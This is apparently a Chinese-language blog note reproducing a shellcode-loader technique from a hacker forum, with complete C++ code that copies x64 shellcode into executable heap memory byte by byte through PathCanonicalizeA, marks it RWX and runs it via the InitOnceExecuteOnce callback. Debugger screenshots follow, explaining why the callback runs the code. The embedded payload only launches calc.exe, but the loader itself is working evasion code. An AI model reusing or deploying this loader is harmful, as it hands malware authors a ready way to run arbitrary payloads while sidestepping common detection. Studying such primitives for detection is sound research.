[TOC]

vx-underground档案中记载的技巧,用一些非常见的函数写入shellcode到内存。原文来自xss.is论坛,这里只记录复现出来的函数。

PathCanonicalizeA

源代码如下,首先HeapCreate()HeapAlloc()分配dst_shellcode内存空间,使用PathCanonicalizeA()函数将源shellcode逐字节复制到dst_shellcode,修改dst_shellcode内存空间权限为RWX,最后调用**InitOnceExecuteOnce()**执行。

PathCanonicalizeA函数在使用的时候有两个问题,一是遇到0x00字符时终止,二是长度不能过长。所以需要确保源shellcode不能有坏字符,同时shellcode长度不能过长。代码里面是将源shellcode先写到数组,再将数组内容复制到dst_shellcode内存空间。

#include <Windows.h>
#include <Shlwapi.h>

#pragma comment(lib, "Shlwapi.lib")

bool test1() {
    // x64 calc.exe shellcode
    // https://www.exploit-db.com/shellcodes/49819
    unsigned char orig_shellcode[] = "\x48\x31\xff\x48\xf7\xe7\x65\x48\x8b\x58\x60\x48\x8b\x5b\x18\x48\x8b\x5b\x20\x48\x8b\x1b\x48\x8b\x1b\x48\x8b\x5b\x20\x49\x89\xd8\x8b"
        "\x5b\x3c\x4c\x01\xc3\x48\x31\xc9\x66\x81\xc1\xff\x88\x48\xc1\xe9\x08\x8b\x14\x0b\x4c\x01\xc2\x4d\x31\xd2\x44\x8b\x52\x1c\x4d\x01\xc2"
        "\x4d\x31\xdb\x44\x8b\x5a\x20\x4d\x01\xc3\x4d\x31\xe4\x44\x8b\x62\x24\x4d\x01\xc4\xeb\x32\x5b\x59\x48\x31\xc0\x48\x89\xe2\x51\x48\x8b"
        "\x0c\x24\x48\x31\xff\x41\x8b\x3c\x83\x4c\x01\xc7\x48\x89\xd6\xf3\xa6\x74\x05\x48\xff\xc0\xeb\xe6\x59\x66\x41\x8b\x04\x44\x41\x8b\x04"
        "\x82\x4c\x01\xc0\x53\xc3\x48\x31\xc9\x80\xc1\x07\x48\xb8\x0f\xa8\x96\x91\xba\x87\x9a\x9c\x48\xf7\xd0\x48\xc1\xe8\x08\x50\x51\xe8\xb0"
        "\xff\xff\xff\x49\x89\xc6\x48\x31\xc9\x48\xf7\xe1\x50\x48\xb8\x9c\x9e\x93\x9c\xd1\x9a\x87\x9a\x48\xf7\xd0\x50\x48\x89\xe1\x48\xff\xc2"
        "\x48\x83\xec\x20\x41\xff\xd6";
    size_t ori_shellcode_size = sizeof orig_shellcode;

    LPVOID copied_shellcode = NULL;
    HANDLE heap = NULL;
    BOOL ret = 0;
    int size = 0;

    heap = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, 0, 0);
    copied_shellcode = HeapAlloc(heap, 0, ori_shellcode_size);
    ZeroMemory(copied_shellcode, ori_shellcode_size);

    // copy shellcode
    for (size_t i = 0; i < ori_shellcode_size; i++) {
        char temp[2] = { 0 };
        temp[0] = orig_shellcode[i];
        if (!PathCanonicalizeA((LPSTR)(((char*)copied_shellcode) + i), temp)) {
            return -1;
        }

        // clear
        orig_shellcode[i] = 0x00;
    }

    DWORD tempP;
    if (!VirtualProtect(copied_shellcode, ori_shellcode_size, PAGE_EXECUTE_READWRITE, &tempP)) {
        return -2;
    }

    // EnumSystemCodePagesA需要 .c
    // EnumSystemCodePagesA((CODEPAGE_ENUMPROCA)copied_shellcode, 0);

    INIT_ONCE g_InitOnce = INIT_ONCE_STATIC_INIT;
    PVOID lpContext;

    ::InitOnceExecuteOnce(&g_InitOnce, (PINIT_ONCE_FN)copied_shellcode, NULL, &lpContext);
    return 0;
}

int main(int argc, char** argv) {
    test1();
}

再看下汇编层面程序作了什么,主要是看一下为什么**InitOnceExecuteOnce()**这个函数会执行shellcode

HeapCreate()创建堆内存,0x40000对应源码HEAP_CREATE_ENABLE_EXECUTE

1.png

1-1.png

之后进入循环,每次取1位src_shellcode到数组,利用函数PathCanonicalizeAsrc_shellcode复制到dst_shellcode。每次复制完成后清理src_shellcode。下图中0x000001CF22250880存放复制后的shellcode。

2.png

3.png

复制完成后进入InitOnceExecuteOnce()函数,在这个函数中会触发shellcode的执行,参数2中存放的指针就是dst_shellcode的指针。**InitOnceExecuteOnce()函数会调用RtlOnceExecuteOnce()**执行

4.png

进入函数之后将shellcode指针移动到rbp,接着判断r10是不是等于2,不等于跳转执行。在下断点的call函数之前,先将rbp的值赋值给了rax。传入的参数RCX=1,RDX=0,R8=0

5.png

6.png

进入这个call,会先执行jmp指令跳转到rax,后面就是执行dst_shellcode的代码

7.png